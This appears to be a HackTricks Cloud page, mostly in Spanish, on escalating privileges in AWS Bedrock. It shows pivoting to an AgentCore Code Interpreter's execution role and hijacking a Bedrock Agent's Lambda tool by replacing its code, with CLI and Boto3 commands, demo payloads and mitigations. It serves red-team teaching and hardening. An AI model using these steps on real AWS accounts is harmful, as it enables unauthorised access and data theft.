AWS - Bedrock PrivEsc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter es un entorno de ejecución gestionado. Los Custom Code Interpreters pueden configurarse con un executionRoleArn que “proporciona permisos para que el code interpreter acceda a servicios de AWS”.
Si un principal IAM con menos privilegios puede iniciar + invocar una sesión de Code Interpreter que está configurada con un execution role más privilegiado, el llamador puede efectivamente pivotar a los permisos del execution role (lateral movement / privilege escalation según el alcance del role).
Note
Esto suele ser un problema de misconfiguration / excessive permissions (conceder permisos amplios al execution role del interpreter y/o dar acceso amplio de invoke). AWS advierte explícitamente evitar privilege escalation asegurando que los execution roles tengan igual o menos privilegios que las identidades autorizadas a invocar.
Preconditions (common misconfiguration)
- Existe un custom code interpreter con un execution role excesivamente privilegiado (por ejemplo: acceso a S3/Secrets/SSM sensibles o capacidades tipo IAM-admin).
- Un usuario (developer/auditor/CI identity) tiene permisos para:
- iniciar sesiones:
bedrock-agentcore:StartCodeInterpreterSession - invocar tools:
bedrock-agentcore:InvokeCodeInterpreter - (Opcional) El usuario también puede crear interpreters:
bedrock-agentcore:CreateCodeInterpreter(le permite crear un nuevo interpreter configurado con un execution role, según los guardrails de la organización).
Recon (identificar custom interpreters y uso de execution role)
List interpreters (control-plane) e inspecciona su configuración:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
El comando create-code-interpreter soporta
--execution-role-arn, que define qué permisos AWS tendrá el intérprete.
Paso 1 - Iniciar una sesión (esto devuelve un sessionId, no un shell interactivo)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Paso 2 - Invocar ejecución de código (Boto3 o HTTPS firmado)
No hay interactive python shell desde start-code-interpreter-session. La ejecución ocurre mediante InvokeCodeInterpreter.
Opción A - Ejemplo de Boto3 (ejecutar Python + verificar identidad):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Si el intérprete está configurado con un execution role, la salida de sts:GetCallerIdentity() debería reflejar la identidad de ese role (no la del low-priv caller), demostrando el pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement into whatever AWS access the interpreter execution role has.
- Privilege escalation if the interpreter execution role is more privileged than the caller.
- Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
Mitigations / Hardening
- Least privilege on the interpreter
executionRoleArn(treat it like Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) and who can start sessions. - Use SCPs to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
- Enable appropriate CloudTrail data events for AgentCore where applicable; alert on unexpected invocations and session creation.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents can use Lambda-backed action groups as tools (external execution). If a principal can modify the code of a Lambda function used by an agent, and can then invoke the agent, they can execute attacker-controlled code under the Lambda execution role.
Note
This is a cross-service trust abuse (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
Preconditions (common misconfiguration)
- A Bedrock Agent exists with an action group backed by a Lambda function
- The attacker has:
lambda:UpdateFunctionCodebedrock:InvokeAgent- The Lambda execution role has broader permissions than the attacker
- The attacker can identify the Lambda used by the agent
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspect Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Explotación
Reemplazar el código de Lambda:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Ejemplo de payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Trigger via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impacto
- Privilege escalation en Lambda execution role
- Exfiltración de datos desde AWS services
- Abuse entre servicios mediante ejecución de trusted agent
Mitigations
- Restringir
lambda:UpdateFunctionCode - Usar roles Lambda de least-privilege
- Monitor cambios de código de Lambda
- Auditar el uso de tools del Bedrock agent
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

